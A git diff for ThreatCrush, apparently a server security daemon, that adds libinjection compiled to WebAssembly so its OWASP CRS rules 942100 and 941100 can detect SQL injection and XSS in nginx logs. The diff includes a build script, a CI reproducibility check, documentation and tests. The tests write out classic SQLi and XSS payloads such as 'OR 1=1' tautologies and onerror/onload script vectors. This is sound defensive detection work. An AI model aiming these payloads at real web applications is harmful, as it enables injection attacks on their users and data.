diff --git a/.github/workflows/pr-checks.yml b/.github/workflows/pr-checks.yml index badc136c..c7d72dad 100644 --- a/.github/workflows/pr-checks.yml +++ b/.github/workflows/pr-checks.yml @@ -70,3 +70,27 @@ jobs: - name: Build browser extension run: pnpm --filter @profullstack/threatcrush-extension build + + libinjection-wasm: + # The checked-in libinjection.wasm must be exactly what the vendored C + # sources build (apps/cli/scripts/build-libinjection-wasm.mjs), so the + # binary shipped to npm is reviewable through its sources. + name: libinjection.wasm is reproducible + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v7 + + - name: Setup Node.js + uses: actions/setup-node@v7 + with: + node-version: 22 + + - name: Setup Zig + uses: mlugg/setup-zig@v2 + with: + version: 0.16.0 + use-cache: false + + - name: Rebuild and compare + run: node apps/cli/scripts/build-libinjection-wasm.mjs --check diff --git a/.gitignore b/.gitignore index 5f6f7922..87830e4b 100644 --- a/.gitignore +++ b/.gitignore @@ -42,6 +42,8 @@ node_modules # Project-specific data/ +# libinjection's upstream test vectors, run by src/core/crs/__tests__ +!/apps/cli/vendor/libinjection/data/ supabase/supabase/.temp/ .qwen/ .claude/ diff --git a/README.md b/README.md index 1a3e4da8..3d864554 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ --- -ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 94 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. +ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 96 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. ``` $ threatcrush monitor @@ -138,7 +138,7 @@ threatcrush store publish https://github.com/you/my-module # Publish your own | Component | What it covers | |-----------|----------------| -| `log-watcher` | nginx access log + syslog — 94 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | +| `log-watcher` | nginx access log + syslog — 96 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | | `ssh-guard` | auth.log / secure — failed logins, brute force, root logins, user enumeration | | `user-journal` | journald — the systemd journal | | `network-monitor` | Inbound connections to your listening ports — port scans, SYN floods | diff --git a/apps/cli/README.md b/apps/cli/README.md index b6efa64a..40eb101b 100644 --- a/apps/cli/README.md +++ b/apps/cli/README.md @@ -42,7 +42,7 @@ --- -ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 94 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. +ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 96 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. ``` $ threatcrush monitor @@ -139,7 +139,7 @@ threatcrush store publish https://github.com/you/my-module # Publish your own | Component | What it covers | |-----------|----------------| -| `log-watcher` | nginx access log + syslog — 94 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | +| `log-watcher` | nginx access log + syslog — 96 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | | `ssh-guard` | auth.log / secure — failed logins, brute force, root logins, user enumeration | | `user-journal` | journald — the systemd journal | | `network-monitor` | Inbound connections to your listening ports — port scans, SYN floods | diff --git a/apps/cli/docs/auto-defence.md b/apps/cli/docs/auto-defence.md index fa0db844..e1ff66d7 100644 --- a/apps/cli/docs/auto-defence.md +++ b/apps/cli/docs/auto-defence.md @@ -94,9 +94,20 @@ under `min_severity = "critical"` they alert without banning, and a single matching CRS rule is still not enough for a ban. What an access log cannot show, these rules cannot see: request bodies, -cookies and other headers. The two libinjection rules (942100 SQLi, 941100 -XSS) are not ported, so a bare `1' OR 1=1` scores nothing; `UNION SELECT`, -`SLEEP(`, script tags, traversal and the rest do. +cookies and other headers. + +CRS's two libinjection rules run on libinjection itself (v4.0.0, BSD-3-Clause, +the version ModSecurity v3 builds against), compiled to WebAssembly and shipped +in the package: 942100 (`@detectSQLi`, on arguments, argument names, the +User-Agent and the Referer) and 941100 (`@detectXSS`, on arguments, argument +names and the User-Agent). They catch what no regex rule does, such as a bare +`1' OR 1=1` or `admin'--`. libinjection judges a value by its SQL token shape, +so a few ordinary strings look like SQLi to it, as they do under ModSecurity: a +number followed by `--` (`2019 -- 2020`, `10--20`) and a word followed by a +`/* … */` comment. Apostrophes, quotes and SQL words in prose (`O'Brien`, +`rock 'n' roll`, `"exact phrase"`, `where is george`, JSON) are not. A site +whose visitors search for number ranges written with `--` should set +`exclude_rules = [942100]`. One rule of ThreatCrush's own is scored alongside CRS, the same way. It is not CRS and is not counted as CRS; its id is in the local range (1–99,999), clear of diff --git a/apps/cli/package.json b/apps/cli/package.json index a675f14c..7245b4ed 100644 --- a/apps/cli/package.json +++ b/apps/cli/package.json @@ -14,7 +14,8 @@ "start": "node dist/index.js", "test": "vitest run", "test:watch": "vitest", - "crs:build": "node scripts/build-crs-rules.mjs" + "crs:build": "node scripts/build-crs-rules.mjs", + "libinjection:build": "node scripts/build-libinjection-wasm.mjs" }, "keywords": [ "security", @@ -32,6 +33,8 @@ "dist/systemd/*.service", "dist/crs/LICENSE", "dist/crs/NOTICE", + "dist/libinjection/libinjection.wasm", + "dist/libinjection/COPYING", "README.md", "LICENSE" ], diff --git a/apps/cli/scripts/build-crs-rules.mjs b/apps/cli/scripts/build-crs-rules.mjs index 35cd96d5..0b3cb4c4 100755 --- a/apps/cli/scripts/build-crs-rules.mjs +++ b/apps/cli/scripts/build-crs-rules.mjs @@ -50,7 +50,7 @@ const TRANSFORMS = new Set([ ]); /** Operators implemented in src/core/crs/engine.ts. */ -const OPERATORS = new Set(['rx', 'pm', 'pmFromFile', 'contains', 'streq', 'beginsWith', 'endsWith', 'within']); +const OPERATORS = new Set(['rx', 'pm', 'pmFromFile', 'contains', 'streq', 'beginsWith', 'endsWith', 'within', 'detectSQLi', 'detectXSS']); const SEVERITIES = new Set(['CRITICAL', 'ERROR', 'WARNING', 'NOTICE']); @@ -234,6 +234,11 @@ function buildOperator(text) { for (const f of op.arg.split(/\s+/).filter(Boolean)) phrases.push(...readPhraseFile(f)); return { type: 'pm', phrases, negated: op.negated }; } + case 'detectSQLi': + case 'detectXSS': + // libinjection, compiled to WebAssembly (scripts/build-libinjection-wasm.mjs). + if (op.arg) throw new Skip(`@${op.name} with an argument`); + return { type: op.name, negated: op.negated }; default: return { type: op.name, arg: op.arg, negated: op.negated }; } diff --git a/apps/cli/scripts/build-libinjection-wasm.mjs b/apps/cli/scripts/build-libinjection-wasm.mjs new file mode 100755 index 00000000..91c7d7e5 --- /dev/null +++ b/apps/cli/scripts/build-libinjection-wasm.mjs @@ -0,0 +1,107 @@ +#!/usr/bin/env node +// Builds src/core/crs/libinjection/libinjection.wasm from the vendored +// libinjection C sources (vendor/libinjection, BSD-3-Clause) and +// scripts/libinjection-wasm.c, the interface ThreatCrush calls. +// +// node scripts/build-libinjection-wasm.mjs rebuild and write the module +// node scripts/build-libinjection-wasm.mjs --check fail if the checked-in module +// differs from a fresh build +// +// The module is checked in, so building and testing ThreatCrush needs no C +// toolchain; only this script needs zig, at exactly ZIG_VERSION (another +// version compiles different bytes). `zig` is taken from $ZIG or the PATH. +// +// libinjection v4.0.0, commit 211782219663f889f471650150df12b623c5766e of +// github.com/libinjection/libinjection — the commit ModSecurity v3 builds +// against. Its src/ files are vendored unmodified, with COPYING and a subset of +// its test vectors (tests/, data/) that src/core/crs/__tests__ runs. +// +// wasm32-wasi in the reactor model links zig's bundled wasi-libc statically +// and leaves no entry point: libinjection needs only memchr/strlen-style +// functions and malloc, none of which reach the host, so the module imports +// nothing. NDEBUG compiles out libinjection's assert()s, which would otherwise +// pull in WASI's fd_write and proc_exit to report and abort. + +import { execFileSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { dirname, join } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const CLI_ROOT = join(HERE, '..'); +const OUT = join(CLI_ROOT, 'src', 'core', 'crs', 'libinjection', 'libinjection.wasm'); + +export const ZIG_VERSION = '0.16.0'; +export const LIBINJECTION_VERSION = '4.0.0'; + +// Relative to CLI_ROOT, which is the compiler's working directory, so no +// absolute path can reach the output. +const SOURCES = [ + 'vendor/libinjection/src/libinjection_sqli.c', + 'vendor/libinjection/src/libinjection_xss.c', + 'vendor/libinjection/src/libinjection_html5.c', + 'scripts/libinjection-wasm.c', +]; +const EXPORTS = ['tc_input', 'tc_sqli', 'tc_fingerprint', 'tc_xss']; + +const sha256 = (bytes) => createHash('sha256').update(bytes).digest('hex'); + +function zig(args, options = {}) { + return execFileSync(process.env.ZIG || 'zig', args, { cwd: CLI_ROOT, encoding: 'utf8', ...options }); +} + +function build() { + let version; + try { + version = zig(['version']).trim(); + } catch { + throw new Error(`zig ${ZIG_VERSION} is needed to build libinjection.wasm (set $ZIG or put it on the PATH)`); + } + if (version !== ZIG_VERSION) throw new Error(`zig ${ZIG_VERSION} is needed to build libinjection.wasm, found ${version}`); + + const tmp = mkdtempSync(join(tmpdir(), 'libinjection-wasm-')); + try { + const bin = join(tmp, 'libinjection.wasm'); + zig([ + 'build-exe', + '-target', 'wasm32-wasi', + '-mexec-model=reactor', + '-fno-entry', + '-O', 'ReleaseFast', + '-fstrip', + '-fsingle-threaded', + '-cflags', '-std=c99', '-DNDEBUG', '-Ivendor/libinjection/src', '--', + ...SOURCES, + '-lc', + ...EXPORTS.map((e) => `--export=${e}`), + `-femit-bin=${bin}`, + '--cache-dir', join(tmp, 'cache'), + ], { stdio: ['ignore', 'inherit', 'inherit'] }); + const bytes = readFileSync(bin); + const imports = WebAssembly.Module.imports(new WebAssembly.Module(bytes)); + if (imports.length) throw new Error(`libinjection.wasm must import nothing, but imports ${imports.map((i) => `${i.module}.${i.name}`).join(', ')}`); + return bytes; + } finally { + rmSync(tmp, { recursive: true, force: true }); + } +} + +function main() { + const bytes = build(); + console.log(`libinjection ${LIBINJECTION_VERSION}, zig ${ZIG_VERSION}: ${bytes.length} bytes, sha256 ${sha256(bytes)}`); + if (process.argv.includes('--check')) { + let current; + try { current = readFileSync(OUT); } catch { /* missing */ } + if (!current || sha256(current) !== sha256(bytes)) { + console.error(`${OUT} (sha256 ${current ? sha256(current) : 'missing'}) is not what the sources build — run scripts/build-libinjection-wasm.mjs`); + process.exit(1); + } + return; + } + writeFileSync(OUT, bytes); + console.log(`wrote ${OUT}`); +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) main(); diff --git a/apps/cli/scripts/libinjection-wasm.c b/apps/cli/scripts/libinjection-wasm.c new file mode 100644 index 00000000..757bdf1e --- /dev/null +++ b/apps/cli/scripts/libinjection-wasm.c @@ -0,0 +1,41 @@ +/* + * The interface between libinjection (vendor/libinjection, BSD-3-Clause) and + * ThreatCrush's JavaScript wrapper (src/core/crs/libinjection.ts). Compiled + * with libinjection into src/core/crs/libinjection/libinjection.wasm by + * scripts/build-libinjection-wasm.mjs. + * + * JavaScript asks for an input buffer of n bytes, copies the value into it and + * calls tc_sqli(n) or tc_xss(n), which return libinjection's + * injection_result_t: 1 TRUE, 0 FALSE, -1 ERROR. + */ +#include + +#include "libinjection.h" +#include "libinjection_xss.h" + +static char *input; +static size_t input_cap; + +/* libinjection writes at most 5 tokens and a NUL; ModSecurity passes 8 bytes. */ +static char fingerprint[8]; + +/* A buffer of at least n bytes for the next call's input, or NULL if out of memory. */ +char *tc_input(size_t n) { + if (n > input_cap || input == NULL) { + free(input); + input_cap = n > 256 ? n : 256; + input = malloc(input_cap); + if (input == NULL) input_cap = 0; + } + return input; +} + +int tc_sqli(size_t n) { + fingerprint[0] = '\0'; + return (int)libinjection_sqli(input, n, fingerprint); +} + +/* The NUL-terminated fingerprint of the last tc_sqli call. */ +const char *tc_fingerprint(void) { return fingerprint; } + +int tc_xss(size_t n) { return (int)libinjection_xss(input, n); } diff --git a/apps/cli/src/core/__tests__/log-parser.test.ts b/apps/cli/src/core/__tests__/log-parser.test.ts index 17f8189d..f47d1a73 100644 --- a/apps/cli/src/core/__tests__/log-parser.test.ts +++ b/apps/cli/src/core/__tests__/log-parser.test.ts @@ -213,6 +213,53 @@ describe('web attack detection (OWASP CRS, PL1)', () => { expect(attackSeverity(assessment)).toBeNull(); }); + it('bans tautology and comment SQLi that only libinjection sees (CRS 942100)', () => { + // No regex rule at PL1 matches these; libinjection's tokenizer does. + for (const request of [ + 'GET /login?user=1%27%20OR%201=1 HTTP/1.1', + 'GET /login?user=1\\x27+OR+1=1 HTTP/1.1', + 'GET /login?user=admin%27--&pass=x HTTP/1.1', + 'GET /item?id=1%20or%202%201.e%2F1 HTTP/1.1', + ]) { + const assessment = assessNginxRequest(line(request)); + expect(assessment.matches.map((m) => m.id), request).toContain(942100); + expect(assessment.attackType, request).toBe('sqli'); + expect(attackSeverity(assessment), request).not.toBeNull(); + } + // 942100 also reads the User-Agent and Referer, as CRS does. + expect(assessNginxRequest(line('GET / HTTP/1.1', { ua: "1' OR 1=1--" })).matches.map((m) => m.id)).toContain(942100); + expect(assessNginxRequest(line('GET / HTTP/1.1', { referer: 'x%27 OR 1=1--' })).matches.map((m) => m.id)).toContain(942100); + }); + + it('scores XSS libinjection finds (CRS 941100) in arguments and the User-Agent', () => { + for (const entry of [ + line('GET /x?q=%22%3E%3Csvg%20onload=alert(1)%3E HTTP/1.1'), + line('GET /x?%3Cimg%20src=x%20onerror=alert(1)%3E=1 HTTP/1.1'), + line('GET / HTTP/1.1', { ua: '\\x22>' }), + ]) { + const assessment = assessNginxRequest(entry); + expect(assessment.matches.map((m) => m.id), entry.raw).toContain(941100); + expect(assessment.attackType, entry.raw).toBe('xss'); + expect(attackSeverity(assessment), entry.raw).not.toBeNull(); + } + }); + + it('leaves apostrophes, quotes and SQL words in ordinary input alone', () => { + for (const path of [ + "/search?q=O'Brien", + '/search?q=O%27Brien+and+Smith', + '/search?q=rock+%27n%27+roll', + '/search?q=%22exact+phrase%22', + '/search?q=don%27t+stop+believin%27', + '/search?q=where+is+george', + '/search?q=1+or+2', + '/api/items?filter=%7B%22status%22%3A%22open%22%2C%22n%22%3A1%7D', + '/profile?email=o%27brien%40example.com', + ]) { + expect(assessNginxRequest(line(`GET ${path} HTTP/1.1`, { referer: `https://example.com${path}` })).score, path).toBe(0); + } + }); + it('keeps detectAttackPattern answering with the attack type', () => { expect(detectAttackPattern('/../../etc/passwd')).toBe('path_traversal'); expect(detectAttackPattern('/topics/rochester/podcasts.rss')).toBeNull(); diff --git a/apps/cli/src/core/crs/NOTICE b/apps/cli/src/core/crs/NOTICE index 9c24ec84..f1a424c2 100644 --- a/apps/cli/src/core/crs/NOTICE +++ b/apps/cli/src/core/crs/NOTICE @@ -16,9 +16,13 @@ Changes made: the paranoia-level-1 rules from REQUEST-913, 930, 931, 932, 933, 934, 941, 942 and 944 whose targets appear in a web server access log were converted by apps/cli/scripts/build-crs-rules.mjs into a JSON rule table (regular expressions translated from PCRE to JavaScript syntax, phrase files -inlined, targets an access log cannot record removed). Rules that could not be -translated faithfully were left out. The evaluation engine is ThreatCrush's -own; it is not ModSecurity. +inlined, targets an access log cannot record removed). Rules 942100 and +941100 (@detectSQLi, @detectXSS) call libinjection, which is not CRS: it ships +compiled to WebAssembly in this package's dist/libinjection/, with its own +licence (BSD-3-Clause) in COPYING there; its sources are vendored under +apps/cli/vendor/libinjection. Rules that could not be translated faithfully +were left out. The evaluation engine is ThreatCrush's own; it is not +ModSecurity. Also derived from CRS: ThreatCrush's own rule 10001 (THREATCRUSH_RULES in rules.generated.ts), which is not part of CRS. It applies the phrases of CRS's diff --git a/apps/cli/src/core/crs/__tests__/libinjection.test.ts b/apps/cli/src/core/crs/__tests__/libinjection.test.ts new file mode 100644 index 00000000..b5c783a9 --- /dev/null +++ b/apps/cli/src/core/crs/__tests__/libinjection.test.ts @@ -0,0 +1,85 @@ +import { describe, it, expect } from 'vitest'; +import { readdirSync, readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { detectSQLi, detectXSS } from '../libinjection.js'; + +// libinjection's own test vectors (vendor/libinjection, BSD-3-Clause), run +// against the checked-in libinjection.wasm the way upstream's harnesses run +// them against the C library. +const VENDOR = join(__dirname, '..', '..', '..', '..', 'vendor', 'libinjection'); +const rtrim = (s: string) => s.replace(/[ \n\t\r]+$/, ''); + +describe('libinjection.wasm against libinjection tests/test-sqli-*.txt', () => { + // src/testdriver.c, test type 2: the fingerprint when libinjection_sqli says + // SQLi, else nothing. + const files = readdirSync(join(VENDOR, 'tests')).filter((f) => f.startsWith('test-sqli-')); + + it.each(files)('%s', (file) => { + const text = readFileSync(join(VENDOR, 'tests', file), 'latin1'); + const m = /^--TEST--\n[\s\S]*?--INPUT--\n([\s\S]*?)--EXPECTED--\n([\s\S]*)$/.exec(text); + expect(m, 'test file layout').not.toBeNull(); + const { result, fingerprint } = detectSQLi(rtrim(m![1])); + expect(result ? fingerprint : '').toBe(rtrim(m![2])); + }); +}); + +/** src/reader.c's modp_url_decode, including its `i + 2 < len` boundary. */ +function readerUrlDecode(s: string): string { + let out = ''; + for (let i = 0; i < s.length; ) { + const hex = s.slice(i + 1, i + 3); + if (s[i] === '+') { + out += ' '; + i += 1; + } else if (s[i] === '%' && i + 2 < s.length && /^[0-9A-Fa-f]{2}$/.test(hex)) { + out += String.fromCharCode(parseInt(hex, 16)); + i += 3; + } else { + out += s[i]; + i += 1; + } + } + return out; +} + +/** The inputs of data/ sample files as src/reader.c reads them: blank and # lines skipped, URL-decoded. */ +function samples(prefix: string): string[] { + return readdirSync(join(VENDOR, 'data')) + .filter((f) => f.startsWith(prefix)) + .flatMap((f) => readFileSync(join(VENDOR, 'data', f), 'latin1').split('\n')) + .map(rtrim) + .filter((l) => l && !l.startsWith('#')) + .map(readerUrlDecode); +} + +describe('libinjection.wasm against libinjection data/ samples', () => { + // Upstream's src/test-samples-*.sh pass while at most that many inputs of + // all their sample files are misjudged; a subset is vendored. + it('finds SQLi in the SQLi samples (test-samples-sqli-positive.sh: -m 18)', () => { + const inputs = samples('sqli-'); + expect(inputs.length).toBeGreaterThan(500); + expect(inputs.filter((s) => detectSQLi(s).result === 0).length).toBeLessThanOrEqual(18); + }); + + it('leaves the known false positives alone (test-samples-sqli-negative.sh: -m 21)', () => { + const inputs = samples('false_positives'); + expect(inputs.length).toBeGreaterThan(400); + expect(inputs.filter((s) => detectSQLi(s).result !== 0).length).toBeLessThanOrEqual(21); + }); + + it('finds XSS in the XSS samples (test-samples-xss-positive.sh: -m 20)', () => { + const inputs = samples('xss-'); + expect(inputs.length).toBeGreaterThan(500); + expect(inputs.filter((s) => detectXSS(s) === 0).length).toBeLessThanOrEqual(20); + }); +}); + +describe('the libinjection wrappers', () => { + it('read byte strings, one char per byte, of any length', () => { + // Bytes above 0x7f pass through unchanged, and a long input grows the buffer. + expect(detectSQLi("\xe9' OR 1=1--").result).toBe(1); + expect(detectSQLi(`${'a'.repeat(100_000)}' OR 1=1--`).result).toBe(1); + expect(detectSQLi('caf\xe9').result).toBe(0); + expect(detectXSS(`${'x'.repeat(100_000)}`)).toBe(1); + }); +}); diff --git a/apps/cli/src/core/crs/engine.ts b/apps/cli/src/core/crs/engine.ts index 89472616..b7197a26 100644 --- a/apps/cli/src/core/crs/engine.ts +++ b/apps/cli/src/core/crs/engine.ts @@ -13,6 +13,7 @@ import { CRS_RULES, THREATCRUSH_RULES } from './rules.generated.js'; import { TRANSFORMS, lowercase } from './transforms.js'; +import { detectSQLi, detectXSS, loadLibinjection } from './libinjection.js'; import type { CrsChainLink, CrsOperator, CrsRule, CrsSeverity, CrsTarget } from './types.js'; export const SEVERITY_POINTS: Record = { CRITICAL: 5, ERROR: 4, WARNING: 3, NOTICE: 2 }; @@ -155,6 +156,16 @@ function compileOperator(op: CrsOperator): (value: string) => boolean { case 'beginsWith': test = (v) => v.startsWith(op.arg); break; case 'endsWith': test = (v) => v.endsWith(op.arg); break; case 'within': test = (v) => op.arg.includes(v); break; + // ModSecurity v3 counts libinjection's ERROR (parser in an invalid state) as + // a match, fail-safe, like TRUE. + case 'detectSQLi': + loadLibinjection(); + test = (v) => detectSQLi(v).result !== 0; + break; + case 'detectXSS': + loadLibinjection(); + test = (v) => detectXSS(v) !== 0; + break; } return op.negated ? (v) => !test(v) : test; } diff --git a/apps/cli/src/core/crs/libinjection.ts b/apps/cli/src/core/crs/libinjection.ts new file mode 100644 index 00000000..8e9e0f89 --- /dev/null +++ b/apps/cli/src/core/crs/libinjection.ts @@ -0,0 +1,71 @@ +// libinjection (github.com/libinjection/libinjection, BSD-3-Clause), compiled +// to WebAssembly by scripts/build-libinjection-wasm.mjs: the SQLi and XSS +// detectors behind CRS's @detectSQLi (942100) and @detectXSS (941100). +// +// The module sits at libinjection/libinjection.wasm beside this file in the +// source tree, and beside the bundle in dist/ (tsup copies it), so one path +// resolves from both. It imports nothing, and is compiled and instantiated +// synchronously, once: when a CrsEngine is built, or on the first detector call. + +import { readFileSync } from 'node:fs'; +import { join } from 'node:path'; + +/** libinjection's injection_result_t: TRUE, FALSE, or ERROR when its parser reached an invalid state. */ +export type InjectionResult = 1 | 0 | -1; + +export interface SqliResult { + result: InjectionResult; + /** The token fingerprint that matched (e.g. `s&1`), when result is TRUE; else empty. */ + fingerprint: string; +} + +/** What libinjection.wasm exports (scripts/libinjection-wasm.c). */ +export interface LibinjectionModule { + memory: WebAssembly.Memory; + _initialize(): void; + tc_input(n: number): number; + tc_sqli(n: number): number; + tc_fingerprint(): number; + tc_xss(n: number): number; +} + +let wasm: LibinjectionModule | undefined; + +/** Compiles and instantiates the module, once; the detectors call this themselves. */ +export function loadLibinjection(): LibinjectionModule { + if (!wasm) { + const bytes = readFileSync(join(__dirname, 'libinjection', 'libinjection.wasm')); + wasm = new WebAssembly.Instance(new WebAssembly.Module(bytes), {}).exports as unknown as LibinjectionModule; + wasm._initialize(); + } + return wasm; +} + +/** A view of the module's memory, replaced when the memory grows (which detaches the old buffer). */ +let view: Buffer | undefined; + +/** Copies a byte string (one char per byte) into the module's input buffer. */ +function put(w: LibinjectionModule, bytes: string): void { + const ptr = w.tc_input(bytes.length); + if (ptr === 0) throw new Error(`libinjection: cannot allocate ${bytes.length} bytes`); + if (view?.buffer !== w.memory.buffer) view = Buffer.from(w.memory.buffer); + view.write(bytes, ptr, bytes.length, 'latin1'); +} + +/** libinjection_sqli over a byte string (one char per byte). */ +export function detectSQLi(bytes: string): SqliResult { + const w = loadLibinjection(); + put(w, bytes); + const result = w.tc_sqli(bytes.length) as InjectionResult; + if (result !== 1) return { result, fingerprint: '' }; + const start = w.tc_fingerprint(); + if (view?.buffer !== w.memory.buffer) view = Buffer.from(w.memory.buffer); + return { result, fingerprint: view.toString('latin1', start, view.indexOf(0, start)) }; +} + +/** libinjection_xss over a byte string (one char per byte). */ +export function detectXSS(bytes: string): InjectionResult { + const w = loadLibinjection(); + put(w, bytes); + return w.tc_xss(bytes.length) as InjectionResult; +} diff --git a/apps/cli/src/core/crs/libinjection/libinjection.wasm b/apps/cli/src/core/crs/libinjection/libinjection.wasm new file mode 100644 index 00000000..440cf64d Binary files /dev/null and b/apps/cli/src/core/crs/libinjection/libinjection.wasm differ diff --git a/apps/cli/src/core/crs/rules.generated.ts b/apps/cli/src/core/crs/rules.generated.ts index 54bcb061..8e2be6e6 100644 --- a/apps/cli/src/core/crs/rules.generated.ts +++ b/apps/cli/src/core/crs/rules.generated.ts @@ -133,18 +133,6 @@ export const CRS_SKIPPED: ReadonlyArray<{ reason: string; ids: number[] }> = [ "ids": [ 941010 ] - }, - { - "reason": "operator @detectXSS", - "ids": [ - 941100 - ] - }, - { - "reason": "operator @detectSQLi", - "ids": [ - 942100 - ] } ]; @@ -4442,6 +4430,31 @@ export const CRS_RULES: readonly CrsRule[] = [ "negated": false } }, + { + "id": 941100, + "msg": "XSS Attack Detected via libinjection", + "severity": "CRITICAL", + "tags": [ + "attack-xss" + ], + "targets": [ + "REQUEST_HEADERS:User-Agent", + "ARGS_NAMES", + "ARGS" + ], + "transforms": [ + "utf8toUnicode", + "urlDecodeUni", + "htmlEntityDecode", + "jsDecode", + "cssDecode", + "removeNulls" + ], + "op": { + "type": "detectXSS", + "negated": false + } + }, { "id": 941110, "msg": "XSS Filter - Category 1: Script Tag Vector", @@ -5128,6 +5141,30 @@ export const CRS_RULES: readonly CrsRule[] = [ "negated": false } }, + { + "id": 942100, + "msg": "SQL Injection Attack Detected via libinjection", + "severity": "CRITICAL", + "tags": [ + "attack-sqli" + ], + "targets": [ + "REQUEST_HEADERS:User-Agent", + "REQUEST_HEADERS:Referer", + "ARGS_NAMES", + "ARGS" + ], + "transforms": [ + "utf8toUnicode", + "urlDecodeUni", + "removeNulls" + ], + "multiMatch": true, + "op": { + "type": "detectSQLi", + "negated": false + } + }, { "id": 942140, "msg": "SQL Injection Attack: Common DB Names Detected", diff --git a/apps/cli/src/core/crs/types.ts b/apps/cli/src/core/crs/types.ts index 422c70bf..d4dc9860 100644 --- a/apps/cli/src/core/crs/types.ts +++ b/apps/cli/src/core/crs/types.ts @@ -35,7 +35,9 @@ export type CrsTransform = export type CrsOperator = | { type: 'rx'; source: string; flags: string; negated: boolean } | { type: 'pm'; phrases: string[]; negated: boolean } - | { type: 'contains' | 'streq' | 'beginsWith' | 'endsWith' | 'within'; arg: string; negated: boolean }; + | { type: 'contains' | 'streq' | 'beginsWith' | 'endsWith' | 'within'; arg: string; negated: boolean } + /** libinjection's SQLi and XSS detectors (./libinjection.ts). */ + | { type: 'detectSQLi' | 'detectXSS'; negated: boolean }; /** A chained SecRule, evaluated against what the rule before it matched. */ export interface CrsChainLink { diff --git a/apps/cli/tsup.config.ts b/apps/cli/tsup.config.ts index 026ad9ac..348a0d69 100644 --- a/apps/cli/tsup.config.ts +++ b/apps/cli/tsup.config.ts @@ -40,5 +40,12 @@ export default defineConfig({ const crsDir = join(__dirname, 'dist', 'crs'); mkdirSync(crsDir, { recursive: true }); for (const f of ['LICENSE', 'NOTICE']) cpSync(join(__dirname, 'src', 'core', 'crs', f), join(crsDir, f)); + // libinjection (BSD-3-Clause), compiled to WebAssembly, is loaded from + // dist/libinjection/ at run time (src/core/crs/libinjection.ts); its + // licence ships with it. + const libinjectionDir = join(__dirname, 'dist', 'libinjection'); + mkdirSync(libinjectionDir, { recursive: true }); + cpSync(join(__dirname, 'src', 'core', 'crs', 'libinjection', 'libinjection.wasm'), join(libinjectionDir, 'libinjection.wasm')); + cpSync(join(__dirname, 'vendor', 'libinjection', 'COPYING'), join(libinjectionDir, 'COPYING')); }, }); diff --git a/apps/cli/vendor/libinjection/COPYING b/apps/cli/vendor/libinjection/COPYING new file mode 100644 index 00000000..5c05bc16 --- /dev/null +++ b/apps/cli/vendor/libinjection/COPYING @@ -0,0 +1,33 @@ +Copyright (c) 2012-2016, Nick Galbreath +Copyright (c) 2017-2024, libinjection Contributors +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +https://github.com/libinjection/libinjection +http://opensource.org/licenses/BSD-3-Clause diff --git a/apps/cli/vendor/libinjection/data/false_positives.txt b/apps/cli/vendor/libinjection/data/false_positives.txt new file mode 100644 index 00000000..5da41eaa --- /dev/null +++ b/apps/cli/vendor/libinjection/data/false_positives.txt @@ -0,0 +1,447 @@ +# after Ignoring 1.e or 1.E 